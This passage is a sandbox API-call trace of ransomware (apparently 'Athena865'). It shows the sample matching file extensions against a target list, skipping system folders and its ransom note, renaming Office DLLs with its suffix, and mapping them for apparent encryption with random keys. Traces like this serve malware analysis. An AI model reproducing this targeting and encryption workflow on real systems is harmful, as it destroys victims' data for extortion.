[0112.410] lstrlenW (lpString="ihx") returned 3 [0112.410] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0112.410] lstrlenW (lpString="itdb") returned 4 [0112.410] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0112.410] lstrlenW (lpString="itw") returned 3 [0112.410] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0112.410] lstrlenW (lpString="jet") returned 3 [0112.410] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0112.410] lstrlenW (lpString="jtx") returned 3 [0112.410] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0112.410] lstrlenW (lpString="kdb") returned 3 [0112.410] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0112.411] lstrlenW (lpString="kexi") returned 4 [0112.411] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0112.411] lstrlenW (lpString="kexic") returned 5 [0112.411] lstrcmpiW (lpString1="S.DLL", lpString2="kexic") returned 1 [0112.411] lstrlenW (lpString="kexis") returned 5 [0112.411] lstrcmpiW (lpString1="S.DLL", lpString2="kexis") returned 1 [0112.411] lstrlenW (lpString="lgc") returned 3 [0112.411] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0112.411] lstrlenW (lpString="lwx") returned 3 [0112.411] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0112.411] lstrlenW (lpString="maf") returned 3 [0112.411] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0112.411] lstrlenW (lpString="maq") returned 3 [0112.411] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0112.411] lstrlenW (lpString="mar") returned 3 [0112.411] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0112.411] lstrlenW (lpString="marshal") returned 7 [0112.411] lstrcmpiW (lpString1="DBS.DLL", lpString2="marshal") returned -1 [0112.411] lstrlenW (lpString="mas") returned 3 [0112.411] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0112.411] lstrlenW (lpString="mav") returned 3 [0112.411] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0112.411] lstrlenW (lpString="maw") returned 3 [0112.411] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0112.411] lstrlenW (lpString="mdbhtml") returned 7 [0112.411] lstrcmpiW (lpString1="DBS.DLL", lpString2="mdbhtml") returned -1 [0112.411] lstrlenW (lpString="mdn") returned 3 [0112.411] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0112.411] lstrlenW (lpString="mdt") returned 3 [0112.412] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0112.412] lstrlenW (lpString="mfd") returned 3 [0112.412] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0112.412] lstrlenW (lpString="mpd") returned 3 [0112.412] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0112.412] lstrlenW (lpString="mrg") returned 3 [0112.412] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0112.412] lstrlenW (lpString="mud") returned 3 [0112.412] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0112.412] lstrlenW (lpString="mwb") returned 3 [0112.412] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0112.412] lstrlenW (lpString="myd") returned 3 [0112.412] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0112.412] lstrlenW (lpString="ndf") returned 3 [0112.412] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0112.412] lstrlenW (lpString="nnt") returned 3 [0112.412] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0112.412] lstrlenW (lpString="nrmlib") returned 6 [0112.412] lstrcmpiW (lpString1="BS.DLL", lpString2="nrmlib") returned -1 [0112.412] lstrlenW (lpString="ns2") returned 3 [0112.412] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0112.412] lstrlenW (lpString="ns3") returned 3 [0112.412] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0112.412] lstrlenW (lpString="ns4") returned 3 [0112.412] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0112.412] lstrlenW (lpString="nsf") returned 3 [0112.412] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0112.412] lstrlenW (lpString="nv") returned 2 [0112.412] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0112.413] lstrlenW (lpString="nv2") returned 3 [0112.413] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0112.413] lstrlenW (lpString="nwdb") returned 4 [0112.413] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0112.413] lstrlenW (lpString="nyf") returned 3 [0112.413] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0112.413] lstrlenW (lpString="odb") returned 3 [0112.413] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0112.413] lstrlenW (lpString="odb") returned 3 [0112.413] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0112.413] lstrlenW (lpString="oqy") returned 3 [0112.413] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0112.413] lstrlenW (lpString="ora") returned 3 [0112.413] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0112.413] lstrlenW (lpString="orx") returned 3 [0112.413] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0112.413] lstrlenW (lpString="owc") returned 3 [0112.413] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0112.413] lstrlenW (lpString="p96") returned 3 [0112.413] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0112.413] lstrlenW (lpString="p97") returned 3 [0112.413] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0112.413] lstrlenW (lpString="pan") returned 3 [0112.413] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0112.413] lstrlenW (lpString="pdb") returned 3 [0112.413] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0112.413] lstrlenW (lpString="pdm") returned 3 [0112.413] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0112.413] lstrlenW (lpString="pnz") returned 3 [0112.414] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0112.414] lstrlenW (lpString="qry") returned 3 [0112.414] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0112.414] lstrlenW (lpString="qvd") returned 3 [0112.414] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0112.414] lstrlenW (lpString="rbf") returned 3 [0112.414] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0112.414] lstrlenW (lpString="rctd") returned 4 [0112.414] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0112.414] lstrlenW (lpString="rod") returned 3 [0112.414] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0112.414] lstrlenW (lpString="rodx") returned 4 [0112.414] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0112.414] lstrlenW (lpString="rpd") returned 3 [0112.414] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0112.414] lstrlenW (lpString="rsd") returned 3 [0112.414] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0112.414] lstrlenW (lpString="sas7bdat") returned 8 [0112.414] lstrcmpiW (lpString1="DDBS.DLL", lpString2="sas7bdat") returned -1 [0112.414] lstrlenW (lpString="sbf") returned 3 [0112.414] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0112.414] lstrlenW (lpString="scx") returned 3 [0112.414] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0112.414] lstrlenW (lpString="sdb") returned 3 [0112.414] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0112.414] lstrlenW (lpString="sdc") returned 3 [0112.414] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0112.414] lstrlenW (lpString="sdf") returned 3 [0112.414] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0112.415] lstrlenW (lpString="sis") returned 3 [0112.415] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0112.415] lstrlenW (lpString="spq") returned 3 [0112.415] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0112.415] lstrlenW (lpString="te") returned 2 [0112.415] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0112.415] lstrlenW (lpString="teacher") returned 7 [0112.415] lstrcmpiW (lpString1="DBS.DLL", lpString2="teacher") returned -1 [0112.415] lstrlenW (lpString="tmd") returned 3 [0112.415] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0112.415] lstrlenW (lpString="tps") returned 3 [0112.415] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0112.415] lstrlenW (lpString="trc") returned 3 [0112.415] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0112.415] lstrlenW (lpString="trc") returned 3 [0112.415] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0112.415] lstrlenW (lpString="trm") returned 3 [0112.415] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0112.415] lstrlenW (lpString="udb") returned 3 [0112.415] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0112.415] lstrlenW (lpString="udl") returned 3 [0112.415] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0112.415] lstrlenW (lpString="usr") returned 3 [0112.415] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0112.415] lstrlenW (lpString="v12") returned 3 [0112.415] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0112.416] lstrlenW (lpString="vis") returned 3 [0112.416] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0112.416] lstrlenW (lpString="vpd") returned 3 [0112.416] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0112.416] lstrlenW (lpString="vvv") returned 3 [0112.416] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0112.416] lstrlenW (lpString="wdb") returned 3 [0112.416] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0112.416] lstrlenW (lpString="wmdb") returned 4 [0112.416] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0112.416] lstrlenW (lpString="wrk") returned 3 [0112.417] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0112.417] lstrlenW (lpString="xdb") returned 3 [0112.417] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0112.417] lstrlenW (lpString="xld") returned 3 [0112.417] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0112.417] lstrlenW (lpString="xmlff") returned 5 [0112.417] lstrcmpiW (lpString1="S.DLL", lpString2="xmlff") returned -1 [0112.417] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL.Athena865") returned 78 [0112.417] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll.athena865"), dwFlags=0x1) returned 1 [0112.418] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0112.418] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=15800) returned 1 [0112.418] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0112.418] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0112.418] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0112.419] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0112.419] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0112.419] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0112.419] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x40c0, lpName=0x0) returned 0x154 [0112.421] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x40c0) returned 0x100000 [0112.422] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0112.423] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0112.423] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0112.423] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0112.423] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0112.423] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0112.423] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0112.423] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0112.423] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0112.423] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0112.424] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0112.424] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0112.424] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0112.424] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0112.424] CloseHandle (hObject=0x154) returned 1 [0112.424] CloseHandle (hObject=0x17c) returned 1 [0112.424] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0112.424] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0112.424] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0112.424] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x5e99f630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACEODEXL.DLL", cAlternateFileName="")) returned 1 [0112.424] lstrcmpiW (lpString1="ACEODEXL.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0112.425] lstrcmpiW (lpString1="ACEODEXL.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0112.425] lstrcmpiW (lpString1="ACEODEXL.DLL", lpString2=".") returned 1 [0112.425] lstrcmpiW (lpString1="ACEODEXL.DLL", lpString2="..") returned 1 [0112.425] lstrcmpiW (lpString1="ACEODEXL.DLL", lpString2="windows") returned -1 [0112.425] lstrcmpiW (lpString1="ACEODEXL.DLL", lpString2="bootmgr") returned -1 [0112.425] lstrcmpiW (lpString1="ACEODEXL.DLL", lpString2="temp") returned -1 [0112.425] lstrcmpiW (lpString1="ACEODEXL.DLL", lpString2="pagefile.sys") returned -1 [0112.425] lstrcmpiW (lpString1="ACEODEXL.DLL", lpString2="boot") returned -1 [0112.425] lstrcmpiW (lpString1="ACEODEXL.DLL", lpString2="ids.txt") returned -1 [0112.425] lstrcmpiW (lpString1="ACEODEXL.DLL", lpString2="ntuser.dat") returned -1 [0112.425] lstrcmpiW (lpString1="ACEODEXL.DLL", lpString2="perflogs") returned -1 [0112.425] lstrcmpiW (lpString1="ACEODEXL.DLL", lpString2="MSBuild") returned -1 [0112.425] lstrlenW (lpString="ACEODEXL.DLL") returned 12 [0112.425] lstrcpyW (in: lpString1=0x241e8b8, lpString2="ACEODEXL.DLL" | out: lpString1="ACEODEXL.DLL") returned="ACEODEXL.DLL" [0112.425] lstrlenW (lpString="ACEODEXL.DLL") returned 12 [0112.425] lstrlenW (lpString="Athena865") returned 9 [0112.425] lstrcmpiW (lpString1="ODEXL.DLL", lpString2="Athena865") returned 1 [0112.425] lstrlenW (lpString=".dll") returned 4 [0112.425] lstrcmpiW (lpString1="ACEODEXL.DLL", lpString2=".dll") returned 1 [0112.425] lstrlenW (lpString=".lnk") returned 4 [0112.425] lstrcmpiW (lpString1="ACEODEXL.DLL", lpString2=".lnk") returned 1 [0112.425] lstrlenW (lpString=".ini") returned 4 [0112.425] lstrcmpiW (lpString1="ACEODEXL.DLL", lpString2=".ini") returned 1 [0112.425] lstrlenW (lpString=".sys") returned 4 [0112.425] lstrcmpiW (lpString1="ACEODEXL.DLL", lpString2=".sys") returned 1 [0112.425] lstrlenW (lpString="ACEODEXL.DLL") returned 12 [0112.425] lstrlenW (lpString="bak") returned 3 [0112.425] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0112.426] lstrlenW (lpString="ba_") returned 3 [0112.426] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0112.426] lstrlenW (lpString="dbb") returned 3 [0112.426] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0112.426] lstrlenW (lpString="vmdk") returned 4 [0112.426] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0112.426] lstrlenW (lpString="rar") returned 3 [0112.426] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0112.426] lstrlenW (lpString="zip") returned 3 [0112.426] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0112.426] lstrlenW (lpString="tgz") returned 3 [0112.426] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0112.426] lstrlenW (lpString="vbox") returned 4 [0112.426] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0112.426] lstrlenW (lpString="vdi") returned 3 [0112.426] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0112.426] lstrlenW (lpString="vhd") returned 3 [0112.426] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0112.426] lstrlenW (lpString="vhdx") returned 4 [0112.426] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0112.426] lstrlenW (lpString="avhd") returned 4 [0112.426] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0112.426] lstrlenW (lpString="db") returned 2 [0112.426] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0112.426] lstrlenW (lpString="db2") returned 3 [0112.426] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0112.426] lstrlenW (lpString="db3") returned 3 [0112.426] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0112.426] lstrlenW (lpString="dbf") returned 3 [0112.427] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0112.427] lstrlenW (lpString="mdf") returned 3 [0112.427] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0112.427] lstrlenW (lpString="mdb") returned 3 [0112.427] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0112.427] lstrlenW (lpString="sql") returned 3 [0112.427] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0112.427] lstrlenW (lpString="sqlite") returned 6 [0112.427] lstrcmpiW (lpString1="XL.DLL", lpString2="sqlite") returned 1 [0112.427] lstrlenW (lpString="sqlite3") returned 7 [0112.427] lstrcmpiW (lpString1="EXL.DLL", lpString2="sqlite3") returned -1 [0112.427] lstrlenW (lpString="sqlitedb") returned 8 [0112.427] lstrcmpiW (lpString1="DEXL.DLL", lpString2="sqlitedb") returned -1 [0112.427] lstrlenW (lpString="xml") returned 3 [0112.427] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0112.427] lstrlenW (lpString="$er") returned 3 [0112.427] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0112.427] lstrlenW (lpString="4dd") returned 3 [0112.427] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0112.427] lstrlenW (lpString="4dl") returned 3 [0112.427] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0112.427] lstrlenW (lpString="^^^") returned 3 [0112.427] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0112.427] lstrlenW (lpString="abs") returned 3 [0112.427] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0112.427] lstrlenW (lpString="abx") returned 3 [0112.427] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0112.427] lstrlenW (lpString="accdb") returned 5 [0112.427] lstrcmpiW (lpString1="L.DLL", lpString2="accdb") returned 1 [0112.427] lstrlenW (lpString="accdc") returned 5 [0112.428] lstrcmpiW (lpString1="L.DLL", lpString2="accdc") returned 1 [0112.428] lstrlenW (lpString="accde") returned 5 [0112.428] lstrcmpiW (lpString1="L.DLL", lpString2="accde") returned 1 [0112.428] lstrlenW (lpString="accdr") returned 5 [0112.428] lstrcmpiW (lpString1="L.DLL", lpString2="accdr") returned 1 [0112.428] lstrlenW (lpString="accdt") returned 5 [0112.428] lstrcmpiW (lpString1="L.DLL", lpString2="accdt") returned 1 [0112.428] lstrlenW (lpString="accdw") returned 5 [0112.428] lstrcmpiW (lpString1="L.DLL", lpString2="accdw") returned 1 [0112.428] lstrlenW (lpString="accft") returned 5 [0112.428] lstrcmpiW (lpString1="L.DLL", lpString2="accft") returned 1 [0112.428] lstrlenW (lpString="adb") returned 3 [0112.428] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0112.428] lstrlenW (lpString="adb") returned 3 [0112.428] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0112.428] lstrlenW (lpString="ade") returned 3 [0112.428] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0112.428] lstrlenW (lpString="adf") returned 3 [0112.428] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0112.428] lstrlenW (lpString="adn") returned 3 [0112.428] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0112.428] lstrlenW (lpString="adp") returned 3 [0112.428] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0112.428] lstrlenW (lpString="alf") returned 3 [0112.428] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0112.428] lstrlenW (lpString="ask") returned 3 [0112.428] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0112.428] lstrlenW (lpString="btr") returned 3 [0112.428] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0112.429] lstrlenW (lpString="cat") returned 3 [0112.429] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0112.429] lstrlenW (lpString="cdb") returned 3 [0112.429] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0112.429] lstrlenW (lpString="ckp") returned 3 [0112.429] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0112.429] lstrlenW (lpString="cma") returned 3 [0112.429] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0112.429] lstrlenW (lpString="cpd") returned 3 [0112.429] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0112.429] lstrlenW (lpString="dacpac") returned 6 [0112.429] lstrcmpiW (lpString1="XL.DLL", lpString2="dacpac") returned 1 [0112.429] lstrlenW (lpString="dad") returned 3 [0112.429] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0112.429] lstrlenW (lpString="dadiagrams") returned 10 [0112.429] lstrcmpiW (lpString1="EODEXL.DLL", lpString2="dadiagrams") returned 1 [0112.429] lstrlenW (lpString="daschema") returned 8 [0112.429] lstrcmpiW (lpString1="DEXL.DLL", lpString2="daschema") returned 1 [0112.429] lstrlenW (lpString="db-journal") returned 10 [0112.429] lstrcmpiW (lpString1="EODEXL.DLL", lpString2="db-journal") returned 1 [0112.429] lstrlenW (lpString="db-shm") returned 6 [0112.429] lstrcmpiW (lpString1="XL.DLL", lpString2="db-shm") returned 1 [0112.429] lstrlenW (lpString="db-wal") returned 6 [0112.429] lstrcmpiW (lpString1="XL.DLL", lpString2="db-wal") returned 1 [0112.429] lstrlenW (lpString="dbc") returned 3 [0112.429] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0112.429] lstrlenW (lpString="dbs") returned 3 [0112.429] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0112.429] lstrlenW (lpString="dbt") returned 3 [0112.430] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0112.430] lstrlenW (lpString="dbv") returned 3 [0112.430] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0112.430] lstrlenW (lpString="dbx") returned 3 [0112.430] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0112.430] lstrlenW (lpString="dcb") returned 3 [0112.430] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0112.430] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0112.430] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL.Athena865") returned 78 [0112.430] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll.athena865"), dwFlags=0x1) returned 1 [0112.432] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0112.432] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=15800) returned 1 [0112.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0112.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0112.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0112.432] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0112.433] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0112.433] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0112.433] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x40c0, lpName=0x0) returned 0x154 [0112.435] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x40c0) returned 0x100000 [0112.436] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0112.437] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0112.437] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0112.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0112.437] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0112.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0112.437] RtlAllocateHeap (HeapHandle=0x4f0000, 